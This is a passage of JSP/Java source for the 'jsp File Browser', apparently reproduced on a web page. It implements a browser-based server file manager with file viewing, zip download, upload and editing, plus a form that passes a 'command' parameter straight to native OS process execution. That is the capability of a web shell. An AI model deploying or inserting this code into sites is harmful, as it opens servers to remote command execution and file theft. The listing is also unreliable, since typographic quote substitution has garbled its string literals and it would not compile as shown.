catch (IllegalThreadStateException ex) {<br />
//Process is running<br />
}<br />
//The process is not allowed to run longer than given time.<br />
if (System.currentTimeMillis() &#8211; start &gt; MAX_PROCESS_RUNNING_TIME) {<br />
ls_proc.destroy();<br />
end = true;<br />
ret.append(&#8221;!!!! Process has timed out, destroyed !!!!!&#8221;);<br />
}<br />
try {<br />
Thread.sleep(50);<br />
}<br />
catch (InterruptedException ie) {}<br />
}<br />
}<br />
catch (IOException e) {<br />
ret.append(&#8221;Error: &#8221; + e);<br />
}<br />
return ret.toString();<br />
}</p>
<p>/**<br />
* Converts a dir string to a linked dir string<br />
* @param dir the directory string (e.g. /usr/local/httpd)<br />
* @param browserLink web-path to Browser.jsp<br />
*/<br />
static String dir2linkdir(String dir, String browserLink, int sortMode) {<br />
File f = new File(dir);<br />
StringBuffer buf = new StringBuffer();<br />
while (f.getParentFile() != null) {<br />
if (f.canRead()) {<br />
String encPath = URLEncoder.encode(f.getAbsolutePath());<br />
buf.insert(0, &#8220;&lt;a href=\&#8221;" + browserLink + &#8220;?sort=&#8221; + sortMode + &#8220;&amp;amp;dir=&#8221;<br />
+ encPath + &#8220;\&#8221;&gt;&#8221; + conv2Html(f.getName()) + File.separator + &#8220;&lt;/a&gt;&#8221;);<br />
}<br />
else buf.insert(0, conv2Html(f.getName()) + File.separator);<br />
f = f.getParentFile();<br />
}<br />
if (f.canRead()) {<br />
String encPath = URLEncoder.encode(f.getAbsolutePath());<br />
buf.insert(0, &#8220;&lt;a href=\&#8221;" + browserLink + &#8220;?sort=&#8221; + sortMode + &#8220;&amp;amp;dir=&#8221; + encPath<br />
+ &#8220;\&#8221;&gt;&#8221; + conv2Html(f.getAbsolutePath()) + &#8220;&lt;/a&gt;&#8221;);<br />
}<br />
else buf.insert(0, f.getAbsolutePath());<br />
return buf.toString();<br />
}</p>
<p>/**<br />
* Returns true if the given filename tends towards a packed file<br />
*/<br />
static boolean isPacked(String name, boolean gz) {<br />
return (name.toLowerCase().endsWith(&#8221;.zip&#8221;) || name.toLowerCase().endsWith(&#8221;.jar&#8221;)<br />
|| (gz &amp;&amp; name.toLowerCase().endsWith(&#8221;.gz&#8221;)) || name.toLowerCase()<br />
.endsWith(&#8221;.war&#8221;));<br />
}</p>
<p>/**<br />
* If RESTRICT_BROWSING = true this method checks, whether the path is allowed or not<br />
*/<br />
static boolean isAllowed(File path, boolean write) throws IOException{<br />
if (READ_ONLY &amp;&amp; write) return false;<br />
if (RESTRICT_BROWSING) {<br />
StringTokenizer stk = new StringTokenizer(RESTRICT_PATH, &#8220;;&#8221;);<br />
while (stk.hasMoreTokens()){<br />
if (path!=null &amp;&amp; path.getCanonicalPath().startsWith(stk.nextToken()))<br />
return RESTRICT_WHITELIST;<br />
}<br />
return !RESTRICT_WHITELIST;<br />
}<br />
else return true;<br />
}</p>
<p>//&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>%&gt;<br />
&lt;%<br />
//Get the current browsing directory<br />
request.setAttribute(&#8221;dir&#8221;, request.getParameter(&#8221;dir&#8221;));<br />
// The browser_name variable is used to keep track of the URI<br />
// of the jsp file itself. It is used in all link-backs.<br />
final String browser_name = request.getRequestURI();<br />
final String FOL_IMG = &#8220;&#8221;;<br />
boolean nohtml = false;<br />
boolean dir_view = true;<br />
//Get Javascript<br />
if (request.getParameter(&#8221;Javascript&#8221;) != null) {<br />
dir_view = false;<br />
nohtml = true;<br />
//Tell the browser that it should cache the javascript<br />
response.setHeader(&#8221;Cache-Control&#8221;, &#8220;public&#8221;);<br />
Date now = new Date();<br />
SimpleDateFormat sdf = new SimpleDateFormat(&#8221;EEE, d MMM yyyy HH:mm:ss z&#8221;, Locale.US);<br />
response.setHeader(&#8221;Expires&#8221;, sdf.format(new Date(now.getTime() + 1000 * 60 * 60 * 24*2)));<br />
response.setHeader(&#8221;Content-Type&#8221;, &#8220;text/javascript&#8221;);<br />
%&gt;<br />
&lt;%// This section contains the Javascript used for interface elements %&gt;<br />
var check = false;<br />
&lt;%// Disables the checkbox feature %&gt;<br />
function dis(){check = true;}</p>
<p>var DOM = 0, MS = 0, OP = 0, b = 0;<br />
&lt;%// Determine the browser type %&gt;<br />
function CheckBrowser(){<br />
if (b == 0){<br />
if (window.opera) OP = 1;<br />
// Moz or Netscape<br />
if(document.getElementById) DOM = 1;<br />
// Micro$oft<br />
if(document.all &amp;&amp; !OP) MS = 1;<br />
b = 1;<br />
}<br />
}<br />
&lt;%// Allows the whole row to be selected %&gt;<br />
function selrow (element, i){<br />
var erst;<br />
CheckBrowser();<br />
if ((OP==1)||(MS==1)) erst = element.firstChild.firstChild;<br />
else if (DOM==1) erst = element.firstChild.nextSibling.firstChild;<br />
&lt;%// MouseIn %&gt;<br />
if (i==0){<br />
if (erst.checked == true) element.className=&#8217;mousechecked&#8217;;<br />
else element.className=&#8217;mousein&#8217;;<br />
}<br />
&lt;%// MouseOut %&gt;<br />
else if (i==1){<br />
if (erst.checked == true) element.className=&#8217;checked&#8217;;<br />
else element.className=&#8217;mouseout&#8217;;<br />
}<br />
&lt;% // MouseClick %&gt;<br />
else if ((i==2)&amp;&amp;(!check)){<br />
if (erst.checked==true) element.className=&#8217;mousein&#8217;;<br />
else element.className=&#8217;mousechecked&#8217;;<br />
erst.click();<br />
}<br />
else check=false;<br />
}<br />
&lt;%// Filter files and dirs in FileList%&gt;<br />
function filter (begriff){<br />
var suche = begriff.value.toLowerCase();<br />
var table = document.getElementById(&#8221;filetable&#8221;);<br />
var ele;<br />
for (var r = 1; r &lt; table.rows.length; r++){<br />
ele = table.rows[r].cells[1].innerHTML.replace(/&lt;[^&gt;]+&gt;/g,&#8221;");<br />
if (ele.toLowerCase().indexOf(suche)&gt;=0 )<br />
table.rows[r].style.display = &#8221;;<br />
else table.rows[r].style.display = &#8216;none&#8217;;<br />
}<br />
}<br />
&lt;%//(De)select all checkboxes%&gt;<br />
function AllFiles(){<br />
for(var x=0;x &lt; document.FileList.elements.length;x++){<br />
var y = document.FileList.elements[x];<br />
var ytr = y.parentNode.parentNode;<br />
var check = document.FileList.selall.checked;<br />
if(y.name == &#8217;selfile&#8217; &amp;&amp; ytr.style.display != &#8216;none&#8217;){<br />
if (y.disabled != true){<br />
y.checked = check;<br />
if (y.checked == true) ytr.className = &#8216;checked&#8217;;<br />
else ytr.className = &#8216;mouseout&#8217;;<br />
}<br />
}<br />
}<br />
}</p>
<p>function shortKeyHandler(_event){<br />
if (!_event) _event = window.event;<br />
if (_event.which) {<br />
keycode = _event.which;<br />
} else if (_event.keyCode) {<br />
keycode = _event.keyCode;<br />
}<br />
var t = document.getElementById(&#8221;text_Dir&#8221;);<br />
//z<br />
if (keycode == 122){<br />
document.getElementById(&#8221;but_Zip&#8221;).click();<br />
}<br />
//r, F2<br />
else if (keycode == 113 || keycode == 114){<br />
var path = prompt(&#8221;Please enter new filename&#8221;, &#8220;&#8221;);<br />
if (path == null) return;<br />
t.value = path;<br />
document.getElementById(&#8221;but_Ren&#8221;).click();<br />
}<br />
//c<br />
else if (keycode == 99){<br />
var path = prompt(&#8221;Please enter filename&#8221;, &#8220;&#8221;);<br />
if (path == null) return;<br />
t.value = path;<br />
document.getElementById(&#8221;but_NFi&#8221;).click();<br />
}<br />
//d<br />
else if (keycode == 100){<br />
var path = prompt(&#8221;Please enter directory name&#8221;, &#8220;&#8221;);<br />
if (path == null) return;<br />
t.value = path;<br />
document.getElementById(&#8221;but_NDi&#8221;).click();<br />
}<br />
//m<br />
else if (keycode == 109){<br />
var path = prompt(&#8221;Please enter move destination&#8221;, &#8220;&#8221;);<br />
if (path == null) return;<br />
t.value = path;<br />
document.getElementById(&#8221;but_Mov&#8221;).click();<br />
}<br />
//y<br />
else if (keycode == 121){<br />
var path = prompt(&#8221;Please enter copy destination&#8221;, &#8220;&#8221;);<br />
if (path == null) return;<br />
t.value = path;<br />
document.getElementById(&#8221;but_Cop&#8221;).click();<br />
}<br />
//l<br />
else if (keycode == 108){<br />
document.getElementById(&#8221;but_Lau&#8221;).click();<br />
}<br />
//Del<br />
else if (keycode == 46){<br />
document.getElementById(&#8221;but_Del&#8221;).click();<br />
}<br />
}</p>
<p>function popUp(URL){<br />
fname = document.getElementsByName(&#8221;myFile&#8221;)[0].value;<br />
if (fname != &#8220;&#8221;)<br />
window.open(URL+&#8221;?first&amp;uplMonitor=&#8221;+encodeURIComponent(fname),&#8221;",&#8221;width=400,height=150,resizable=yes,depend=yes&#8221;)<br />
}</p>
<p>document.onkeypress = shortKeyHandler;<br />
&lt;% }<br />
// View file<br />
else if (request.getParameter(&#8221;file&#8221;) != null) {<br />
File f = new File(request.getParameter(&#8221;file&#8221;));<br />
if (!isAllowed(f, false)) {<br />
request.setAttribute(&#8221;dir&#8221;, f.getParent());<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8220;+f.getAbsolutePath());<br />
}<br />
else if (f.exists() &amp;&amp; f.canRead()) {<br />
if (isPacked(f.getName(), false)) {<br />
//If zipFile, do nothing here<br />
}<br />
else{<br />
String mimeType = getMimeType(f.getName());<br />
response.setContentType(mimeType);<br />
if (mimeType.equals(&#8221;text/plain&#8221;)) response.setHeader(<br />
&#8220;Content-Disposition&#8221;, &#8220;inline;filename=\&#8221;temp.txt\&#8221;");<br />
else response.setHeader(&#8221;Content-Disposition&#8221;, &#8220;inline;filename=\&#8221;"<br />
+ f.getName() + &#8220;\&#8221;");<br />
BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));<br />
byte buffer[] = new byte[8 * 1024];<br />
out.clearBuffer();<br />
OutputStream out_s = new Writer2Stream(out);<br />
copyStreamsWithoutClose(fileInput, out_s, buffer);<br />
fileInput.close();<br />
out_s.flush();<br />
nohtml = true;<br />
dir_view = false;<br />
}<br />
}<br />
else {<br />
request.setAttribute(&#8221;dir&#8221;, f.getParent());<br />
request.setAttribute(&#8221;error&#8221;, &#8220;File &#8221; + f.getAbsolutePath()<br />
+ &#8221; does not exist or is not readable on the server&#8221;);<br />
}<br />
}<br />
// Download selected files as zip file<br />
else if ((request.getParameter(&#8221;Submit&#8221;) != null)<br />
&amp;&amp; (request.getParameter(&#8221;Submit&#8221;).equals(SAVE_AS_ZIP))) {<br />
Vector v = expandFileList(request.getParameterValues(&#8221;selfile&#8221;), false);<br />
//Check if all files in vector are allowed<br />
String notAllowedFile = null;<br />
for (int i = 0;i &lt; v.size(); i++){<br />
File f = (File) v.get(i);<br />
if (!isAllowed(f, false)){<br />
notAllowedFile = f.getAbsolutePath();<br />
break;<br />
}<br />
}<br />
if (notAllowedFile != null){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + notAllowedFile);<br />
}<br />
else if (v.size() == 0) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;No files selected&#8221;);<br />
}<br />
else {<br />
File dir_file = new File(&#8221;" + request.getAttribute(&#8221;dir&#8221;));<br />
int dir_l = dir_file.getAbsolutePath().length();<br />
response.setContentType(&#8221;application/zip&#8221;);<br />
response.setHeader(&#8221;Content-Disposition&#8221;, &#8220;attachment;filename=\&#8221;rename_me.zip\&#8221;");<br />
out.clearBuffer();<br />
ZipOutputStream zipout = new ZipOutputStream(new Writer2Stream(out));<br />
zipout.setComment(&#8221;Created by jsp File Browser v. &#8221; + VERSION_NR);<br />
zipout.setLevel(COMPRESSION_LEVEL);<br />
for (int i = 0; i &lt; v.size(); i++) {<br />
File f = (File) v.get(i);<br />
if (f.canRead()) {<br />
zipout.putNextEntry(new ZipEntry(f.getAbsolutePath().substring(dir_l + 1)));<br />
BufferedInputStream fr = new BufferedInputStream(new FileInputStream(f));<br />
byte buffer[] = new byte[0xffff];<br />
copyStreamsWithoutClose(fr, zipout, buffer);<br />
/* int b;<br />
while ((b=fr.read())!=-1) zipout.write(b);*/<br />
fr.close();<br />
zipout.closeEntry();<br />
}<br />
}<br />
zipout.finish();<br />
out.flush();<br />
nohtml = true;<br />
dir_view = false;<br />
}<br />
}<br />
// Download file<br />
else if (request.getParameter(&#8221;downfile&#8221;) != null) {<br />
String filePath = request.getParameter(&#8221;downfile&#8221;);<br />
File f = new File(filePath);<br />
if (!isAllowed(f, false)){<br />
request.setAttribute(&#8221;dir&#8221;, f.getParent());<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + f.getAbsoluteFile());<br />
}<br />
else if (f.exists() &amp;&amp; f.canRead()) {<br />
response.setContentType(&#8221;application/octet-stream&#8221;);<br />
response.setHeader(&#8221;Content-Disposition&#8221;, &#8220;attachment;filename=\&#8221;" + f.getName()<br />
+ &#8220;\&#8221;");<br />
response.setContentLength((int) f.length());<br />
BufferedInputStream fileInput = new BufferedInputStream(new FileInputStream(f));<br />
byte buffer[] = new byte[8 * 1024];<br />
out.clearBuffer();<br />
OutputStream out_s = new Writer2Stream(out);<br />
copyStreamsWithoutClose(fileInput, out_s, buffer);<br />
fileInput.close();<br />
out_s.flush();<br />
nohtml = true;<br />
dir_view = false;<br />
}<br />
else {<br />
request.setAttribute(&#8221;dir&#8221;, f.getParent());<br />
request.setAttribute(&#8221;error&#8221;, &#8220;File &#8221; + f.getAbsolutePath()<br />
+ &#8221; does not exist or is not readable on the server&#8221;);<br />
}<br />
}<br />
if (nohtml) return;<br />
//else<br />
// If no parameter is submitted, it will take the path from jsp file browser<br />
if (request.getAttribute(&#8221;dir&#8221;) == null) {<br />
String path = null;<br />
if (application.getRealPath(request.getRequestURI()) != null) {<br />
File f = new File(application.getRealPath(request.getRequestURI())).getParentFile();<br />
//This is a hack needed for tomcat<br />
while (f != null &amp;&amp; !f.exists())<br />
f = f.getParentFile();<br />
if (f != null)<br />
path = f.getAbsolutePath();<br />
}<br />
if (path == null) { // handle the case where we are not in a directory (ex: war file)<br />
path = new File(&#8221;.&#8221;).getAbsolutePath();<br />
}<br />
//Check path<br />
if (!isAllowed(new File(path), false)){<br />
//TODO Blacklist<br />
if (RESTRICT_PATH.indexOf(&#8221;;&#8221;)&lt;0) path = RESTRICT_PATH;<br />
else path = RESTRICT_PATH.substring(0, RESTRICT_PATH.indexOf(&#8221;;&#8221;));<br />
}<br />
request.setAttribute(&#8221;dir&#8221;, path);<br />
}%&gt;<br />
&lt;!DOCTYPE HTML PUBLIC &#8220;-//W3C//DTD HTML 4.01 Transitional//EN&#8221;<br />
&#8220;http://www.w3.org/TR/html4/loose.dtd&#8221;&gt;<br />
&lt;html&gt;<br />
&lt;head&gt;<br />
&lt;meta http-equiv=&#8221;content-type&#8221; content=&#8221;text/html; charset=ISO-8859-1&#8243;&gt;<br />
&lt;meta name=&#8221;robots&#8221; content=&#8221;noindex&#8221;&gt;<br />
&lt;meta http-equiv=&#8221;expires&#8221; content=&#8221;0&#8243;&gt;<br />
&lt;meta http-equiv=&#8221;pragma&#8221; content=&#8221;no-cache&#8221;&gt;<br />
&lt;%<br />
//If a cssfile exists, it will take it<br />
String cssPath = null;<br />
if (application.getRealPath(request.getRequestURI()) != null) cssPath = new File(<br />
application.getRealPath(request.getRequestURI())).getParent()<br />
+ File.separator + CSS_NAME;<br />
if (cssPath == null) cssPath = application.getResource(CSS_NAME).toString();<br />
if (new File(cssPath).exists()) {<br />
%&gt;<br />
&lt;link rel=&#8221;stylesheet&#8221; type=&#8221;text/css&#8221; href=&#8221;&lt;%=CSS_NAME%&gt;&#8221;&gt;<br />
&lt;%}<br />
else if (request.getParameter(&#8221;uplMonitor&#8221;) == null) {%&gt;<br />
&lt;style type=&#8221;text/css&#8221;&gt;<br />
input.button {background-color: #c0c0c0; color: #666666;<br />
border: 1px solid #999999; margin: 5px 1px 5px 1px;}<br />
input.textfield {margin: 5px 1px 5px 1px;}<br />
input.button:Hover { color: #444444 }<br />
table.filelist {background-color:#666666; width:100%; border:0px none #ffffff}<br />
.formular {margin: 1px; background-color:#ffffff; padding: 1em; border:1px solid #000000;}<br />
.formular2 {margin: 1px;}<br />
th { background-color:#c0c0c0 }<br />
tr.mouseout { background-color:#ffffff; }<br />
tr.mousein { background-color:#eeeeee; }<br />
tr.checked { background-color:#cccccc }<br />
tr.mousechecked { background-color:#c0c0c0 }<br />
td { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}<br />
td.message { background-color: #FFFF00; color: #000000; text-align:center; font-weight:bold}<br />
td.error { background-color: #FF0000; color: #000000; text-align:center; font-weight:bold}<br />
A { text-decoration: none; }<br />
A:Hover { color : Red; text-decoration : underline; }<br />
BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}<br />
&lt;/style&gt;<br />
&lt;%}</p>
<p>//Check path<br />
if (!isAllowed(new File((String)request.getAttribute(&#8221;dir&#8221;)), false)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + request.getAttribute(&#8221;dir&#8221;));<br />
}<br />
//Upload monitor<br />
else if (request.getParameter(&#8221;uplMonitor&#8221;) != null) {%&gt;<br />
&lt;style type=&#8221;text/css&#8221;&gt;<br />
BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}<br />
&lt;/style&gt;&lt;%<br />
String fname = request.getParameter(&#8221;uplMonitor&#8221;);<br />
//First opening<br />
boolean first = false;<br />
if (request.getParameter(&#8221;first&#8221;) != null) first = true;<br />
UplInfo info = new UplInfo();<br />
if (!first) {<br />
info = UploadMonitor.getInfo(fname);<br />
if (info == null) {<br />
//Windows<br />
int posi = fname.lastIndexOf(&#8221;\\&#8221;);<br />
if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));<br />
}<br />
if (info == null) {<br />
//Unix<br />
int posi = fname.lastIndexOf(&#8221;/&#8221;);<br />
if (posi != -1) info = UploadMonitor.getInfo(fname.substring(posi + 1));<br />
}<br />
}<br />
dir_view = false;<br />
request.setAttribute(&#8221;dir&#8221;, null);<br />
if (info.aborted) {<br />
UploadMonitor.remove(fname);<br />
%&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;b&gt;Upload of &lt;%=fname%&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;<br />
Upload aborted.&lt;/body&gt;<br />
&lt;/html&gt;&lt;%<br />
}<br />
else if (info.totalSize != info.currSize || info.currSize == 0) {<br />
%&gt;<br />
&lt;META HTTP-EQUIV=&#8221;Refresh&#8221; CONTENT=&#8221;&lt;%=UPLOAD_MONITOR_REFRESH%&gt;;URL=&lt;%=browser_name %&gt;?uplMonitor=&lt;%=URLEncoder.encode(fname)%&gt;&#8221;&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;b&gt;Upload of &lt;%=fname%&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;<br />
&lt;center&gt;<br />
&lt;table height=&#8221;20px&#8221; width=&#8221;90%&#8221; bgcolor=&#8221;#eeeeee&#8221; style=&#8221;border:1px solid #cccccc&#8221;&gt;&lt;tr&gt;<br />
&lt;td bgcolor=&#8221;blue&#8221; width=&#8221;&lt;%=info.getPercent()%&gt;%&#8221;&gt;&lt;/td&gt;&lt;td width=&#8221;&lt;%=100-info.getPercent()%&gt;%&#8221;&gt;&lt;/td&gt;<br />
&lt;/tr&gt;&lt;/table&gt;&lt;/center&gt;<br />
&lt;%=convertFileSize(info.currSize)%&gt; from &lt;%=convertFileSize(info.totalSize)%&gt;<br />
(&lt;%=info.getPercent()%&gt; %) uploaded (Speed: &lt;%=info.getUprate()%&gt;).&lt;br&gt;<br />
Time: &lt;%=info.getTimeElapsed()%&gt; from &lt;%=info.getTimeEstimated()%&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;&lt;%<br />
}<br />
else {<br />
UploadMonitor.remove(fname);<br />
%&gt;<br />
&lt;/head&gt;<br />
&lt;body onload=&#8221;javascript:window.close()&#8221;&gt;<br />
&lt;b&gt;Upload of &lt;%=fname%&gt;&lt;/b&gt;&lt;br&gt;&lt;br&gt;<br />
Upload finished.<br />
&lt;/body&gt;<br />
&lt;/html&gt;&lt;%<br />
}<br />
}<br />
//Comandwindow<br />
else if (request.getParameter(&#8221;command&#8221;) != null) {<br />
if (!NATIVE_COMMANDS){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Execution of native commands is not allowed!&#8221;);<br />
}<br />
else if (!&#8221;Cancel&#8221;.equalsIgnoreCase(request.getParameter(&#8221;Submit&#8221;))) {<br />
%&gt;<br />
&lt;title&gt;Launch commands in &lt;%=request.getAttribute(&#8221;dir&#8221;)%&gt;&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;&lt;center&gt;<br />
&lt;h2&gt;&lt;%=LAUNCH_COMMAND %&gt;&lt;/h2&gt;&lt;br /&gt;<br />
&lt;%<br />
out.println(&#8221;&lt;form action=\&#8221;" + browser_name + &#8220;\&#8221; method=\&#8221;Post\&#8221;&gt;\n&#8221;<br />
+ &#8220;&lt;textarea name=\&#8221;text\&#8221; wrap=\&#8221;off\&#8221; cols=\&#8221;" + EDITFIELD_COLS<br />
+ &#8220;\&#8221; rows=\&#8221;" + EDITFIELD_ROWS + &#8220;\&#8221; readonly&gt;&#8221;);<br />
String ret = &#8220;&#8221;;<br />
if (!request.getParameter(&#8221;command&#8221;).equalsIgnoreCase(&#8221;"))<br />
ret = startProcess(<br />
request.getParameter(&#8221;command&#8221;), (String) request.getAttribute(&#8221;dir&#8221;));<br />
out.println(ret);<br />
%&gt;&lt;/textarea&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;dir&#8221; value=&#8221;&lt;%= request.getAttribute(&#8221;dir&#8221;)%&gt;&#8221;&gt;<br />
&lt;br /&gt;&lt;br /&gt;<br />
&lt;table class=&#8221;formular&#8221;&gt;<br />
&lt;tr&gt;&lt;td title=&#8221;Enter your command&#8221;&gt;<br />
Command: &lt;input size=&#8221;&lt;%=EDITFIELD_COLS-5%&gt;&#8221; type=&#8221;text&#8221; name=&#8221;command&#8221; value=&#8221;"&gt;<br />
&lt;/td&gt;&lt;/tr&gt;<br />
&lt;tr&gt;&lt;td&gt;&lt;input class=&#8221;button&#8221; type=&#8221;Submit&#8221; name=&#8221;Submit&#8221; value=&#8221;Launch&#8221;&gt;<br />
&lt;input type=&#8221;hidden&#8221; name=&#8221;sort&#8221; value=&#8221;&lt;%=request.getParameter(&#8221;sort&#8221;)%&gt;&#8221;&gt;<br />
&lt;input type=&#8221;Submit&#8221; class=&#8221;button&#8221; name=&#8221;Submit&#8221; value=&#8221;Cancel&#8221;&gt;&lt;/td&gt;&lt;/tr&gt;<br />
&lt;/table&gt;<br />
&lt;/form&gt;<br />
&lt;br /&gt;<br />
&lt;hr&gt;<br />
&lt;center&gt;<br />
&lt;small&gt;jsp File Browser version &lt;%= VERSION_NR%&gt; by &lt;a href=&#8221;http://www.vonloesch.de&#8221;&gt;www.vonloesch.de&lt;/a&gt;&lt;/small&gt;<br />
&lt;/center&gt;<br />
&lt;/center&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
&lt;%<br />
dir_view = false;<br />
request.setAttribute(&#8221;dir&#8221;, null);<br />
}<br />
}</p>
<p>//Click on a filename, special viewer (zip+jar file)<br />
else if (request.getParameter(&#8221;file&#8221;) != null) {<br />
File f = new File(request.getParameter(&#8221;file&#8221;));<br />
if (!isAllowed(f, false)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + f.getAbsolutePath());<br />
}<br />
else if (isPacked(f.getName(), false)) {<br />
//ZipFile<br />
try {<br />
ZipFile zf = new ZipFile(f);<br />
Enumeration entries = zf.entries();<br />
%&gt;<br />
&lt;title&gt;&lt;%= f.getAbsolutePath()%&gt;&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;h2&gt;Content of &lt;%=conv2Html(f.getName())%&gt;&lt;/h2&gt;&lt;br /&gt;<br />
&lt;table class=&#8221;filelist&#8221; cellspacing=&#8221;1px&#8221; cellpadding=&#8221;0px&#8221;&gt;<br />
&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Uncompressed size&lt;/th&gt;&lt;th&gt;Compressed size&lt;/th&gt;&lt;th&gt;Compr. ratio&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;<br />
&lt;%<br />
long size = 0;<br />
int fileCount = 0;<br />
while (entries.hasMoreElements()) {<br />
ZipEntry entry = (ZipEntry) entries.nextElement();<br />
if (!entry.isDirectory()) {<br />
fileCount++;<br />
size += entry.getSize();<br />
long ratio = 0;<br />
if (entry.getSize() != 0) ratio = (entry.getCompressedSize() * 100)<br />
/ entry.getSize();<br />
out.println(&#8221;&lt;tr class=\&#8221;mouseout\&#8221;&gt;&lt;td&gt;&#8221; + conv2Html(entry.getName())<br />
+ &#8220;&lt;/td&gt;&lt;td&gt;&#8221; + convertFileSize(entry.getSize()) + &#8220;&lt;/td&gt;&lt;td&gt;&#8221;<br />
+ convertFileSize(entry.getCompressedSize()) + &#8220;&lt;/td&gt;&lt;td&gt;&#8221;<br />
+ ratio + &#8220;%&#8221; + &#8220;&lt;/td&gt;&lt;td&gt;&#8221;<br />
+ dateFormat.format(new Date(entry.getTime())) + &#8220;&lt;/td&gt;&lt;/tr&gt;&#8221;);</p>
<p>}<br />
}<br />
zf.close();<br />
//No directory view<br />
dir_view = false;<br />
request.setAttribute(&#8221;dir&#8221;, null);<br />
%&gt;<br />
&lt;/table&gt;<br />
&lt;p align=center&gt;<br />
&lt;b&gt;&lt;%=convertFileSize(size)%&gt; in &lt;%=fileCount%&gt; files in &lt;%=f.getName()%&gt;. Compression ratio: &lt;%=(f.length() * 100) / size%&gt;%<br />
&lt;/b&gt;&lt;/p&gt;<br />
&lt;/body&gt;&lt;/html&gt;<br />
&lt;%<br />
}<br />
catch (ZipException ex) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot read &#8221; + f.getName()<br />
+ &#8220;, no valid zip file&#8221;);<br />
}<br />
catch (IOException ex) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Reading of &#8221; + f.getName() + &#8221; aborted. Error: &#8221;<br />
+ ex);<br />
}<br />
}<br />
}<br />
// Upload<br />
else if ((request.getContentType() != null)<br />
&amp;&amp; (request.getContentType().toLowerCase().startsWith(&#8221;multipart&#8221;))) {<br />
if (!ALLOW_UPLOAD){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Upload is forbidden!&#8221;);<br />
}<br />
response.setContentType(&#8221;text/html&#8221;);<br />
HttpMultiPartParser parser = new HttpMultiPartParser();<br />
boolean error = false;<br />
try {<br />
int bstart = request.getContentType().lastIndexOf(&#8221;oundary=&#8221;);<br />
String bound = request.getContentType().substring(bstart + 8);<br />
int clength = request.getContentLength();<br />
Hashtable ht = parser<br />
.processData(request.getInputStream(), bound, tempdir, clength);<br />
if (!isAllowed(new File((String)ht.get(&#8221;dir&#8221;)), false)){<br />
//This is a hack, cos we are writing to this directory<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + ht.get(&#8221;dir&#8221;));<br />
error = true;<br />
}<br />
else if (ht.get(&#8221;myFile&#8221;) != null) {<br />
FileInfo fi = (FileInfo) ht.get(&#8221;myFile&#8221;);<br />
File f = fi.file;<br />
UplInfo info = UploadMonitor.getInfo(fi.clientFileName);<br />
if (info != null &amp;&amp; info.aborted) {<br />
f.delete();<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Upload aborted&#8221;);<br />
}<br />
else {<br />
// Move file from temp to the right dir<br />
String path = (String) ht.get(&#8221;dir&#8221;);<br />
if (!path.endsWith(File.separator)) path = path + File.separator;<br />
if (!f.renameTo(new File(path + f.getName()))) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Cannot upload file.&#8221;);<br />
error = true;<br />
f.delete();<br />
}<br />
}<br />
}<br />
else {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;No file selected for upload&#8221;);<br />
error = true;<br />
}<br />
request.setAttribute(&#8221;dir&#8221;, (String) ht.get(&#8221;dir&#8221;));<br />
}<br />
catch (Exception e) {<br />
request.setAttribute(&#8221;error&#8221;, &#8220;Error &#8221; + e + &#8220;. Upload aborted&#8221;);<br />
error = true;<br />
}<br />
if (!error) request.setAttribute(&#8221;message&#8221;, &#8220;File upload correctly finished.&#8221;);<br />
}<br />
// The form to edit a text file<br />
else if (request.getParameter(&#8221;editfile&#8221;) != null) {<br />
File ef = new File(request.getParameter(&#8221;editfile&#8221;));<br />
if (!isAllowed(ef, true)){<br />
request.setAttribute(&#8221;error&#8221;, &#8220;You are not allowed to access &#8221; + ef.getAbsolutePath());<br />
}<br />
else{<br />
%&gt;<br />
&lt;title&gt;Edit &lt;%=conv2Html(request.getParameter(&#8221;editfile&#8221;))%&gt;&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;center&gt;<br />
&lt;h2&gt;Edit &lt;%=conv2Html(request.getParameter(&#8221;editfile&#8221;))%&gt;&lt;/h2&gt;&lt;br /&gt;<br />
&lt;%<br />
BufferedReader reader = new BufferedReader(new FileReader(ef));<br />
String disable = &#8220;&#8221;;<br />
if (!ef.canWrite()) disable = &#8221; readonly&#8221;;<br />
out.println(&#8221;&lt;form action=\&#8221;" + browser_name + &#8220;\&#8221; method=\&#8221;Post\&#8221;&gt;\n&#8221;<br />
